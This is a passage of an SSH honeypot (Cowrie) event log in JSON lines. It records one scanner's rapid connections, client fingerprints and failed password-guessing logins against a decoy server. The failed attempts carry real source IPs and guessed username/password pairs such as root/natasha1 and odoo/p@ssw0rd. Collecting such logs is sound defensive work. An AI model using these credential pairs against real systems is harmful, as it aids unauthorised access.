{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:59.680767Z","src_ip":"141.11.88.14","session":"aaaaf9296a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:59.683672Z","src_ip":"141.11.88.14","session":"aaaaf9296a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:01.098531Z","src_ip":"141.11.88.14","session":"aaaaf9296a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:02.328945Z","src_ip":"141.11.88.14","session":"aaaaf9296a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47006,"dst_ip":"10.17.0.5","dst_port":22,"session":"388a2cd958de","protocol":"ssh","message":"New connection: 141.11.88.14:47006 (10.17.0.5:22) [session: 388a2cd958de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:07.937960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:08.046272Z","src_ip":"141.11.88.14","session":"388a2cd958de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:08.051439Z","src_ip":"141.11.88.14","session":"388a2cd958de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:09.628140Z","src_ip":"141.11.88.14","session":"388a2cd958de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:10.810772Z","src_ip":"141.11.88.14","session":"388a2cd958de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47030,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e69d32b6dad","protocol":"ssh","message":"New connection: 141.11.88.14:47030 (10.17.0.5:22) [session: 7e69d32b6dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:14.501875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:14.908288Z","src_ip":"141.11.88.14","session":"7e69d32b6dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:14.912572Z","src_ip":"141.11.88.14","session":"7e69d32b6dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:15.838111Z","src_ip":"141.11.88.14","session":"7e69d32b6dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:16.948931Z","src_ip":"141.11.88.14","session":"7e69d32b6dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43918,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5cfa504495f","protocol":"ssh","message":"New connection: 141.11.88.14:43918 (10.17.0.5:22) [session: f5cfa504495f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:20.499893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:21.047854Z","src_ip":"141.11.88.14","session":"f5cfa504495f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:21.080510Z","src_ip":"141.11.88.14","session":"f5cfa504495f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"p@ssw0rd","message":"login attempt [odoo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:23.240814Z","src_ip":"141.11.88.14","session":"f5cfa504495f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:24.589962Z","src_ip":"141.11.88.14","session":"f5cfa504495f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":54076,"dst_ip":"10.17.0.5","dst_port":22,"session":"22abf8a399c3","protocol":"ssh","message":"New connection: 41.86.34.139:54076 (10.17.0.5:22) [session: 22abf8a399c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:28.110976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:28.115601Z","src_ip":"41.86.34.139","session":"22abf8a399c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:28.326895Z","src_ip":"41.86.34.139","session":"22abf8a399c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36544,"dst_ip":"10.17.0.5","dst_port":22,"session":"162fa918f58c","protocol":"ssh","message":"New connection: 141.11.88.14:36544 (10.17.0.5:22) [session: 162fa918f58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:28.943466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:29.033412Z","src_ip":"141.11.88.14","session":"162fa918f58c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:29.038094Z","src_ip":"141.11.88.14","session":"162fa918f58c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin_888","message":"login attempt [root/admin_888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:29.191443Z","src_ip":"41.86.34.139","session":"22abf8a399c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:29.462041Z","src_ip":"141.11.88.14","session":"162fa918f58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:30.403108Z","src_ip":"41.86.34.139","session":"22abf8a399c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:30.558803Z","src_ip":"141.11.88.14","session":"162fa918f58c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"5022d73c1329","protocol":"ssh","message":"New connection: 141.11.88.14:36558 (10.17.0.5:22) [session: 5022d73c1329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:34.148204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:34.400488Z","src_ip":"141.11.88.14","session":"5022d73c1329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:34.405813Z","src_ip":"141.11.88.14","session":"5022d73c1329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:37.161622Z","src_ip":"141.11.88.14","session":"5022d73c1329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:39.660012Z","src_ip":"141.11.88.14","session":"5022d73c1329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18596,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0fc87567dad","protocol":"ssh","message":"New connection: 141.11.88.14:18596 (10.17.0.5:22) [session: a0fc87567dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:40.887834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:40.967081Z","src_ip":"141.11.88.14","session":"a0fc87567dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:41.074003Z","src_ip":"141.11.88.14","session":"a0fc87567dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"password","message":"login attempt [client/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:42.062440Z","src_ip":"141.11.88.14","session":"a0fc87567dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:43.165980Z","src_ip":"141.11.88.14","session":"a0fc87567dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32110,"dst_ip":"10.17.0.5","dst_port":22,"session":"a820b7f18d25","protocol":"ssh","message":"New connection: 141.11.88.14:32110 (10.17.0.5:22) [session: a820b7f18d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:47.926164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:47.985239Z","src_ip":"141.11.88.14","session":"a820b7f18d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521",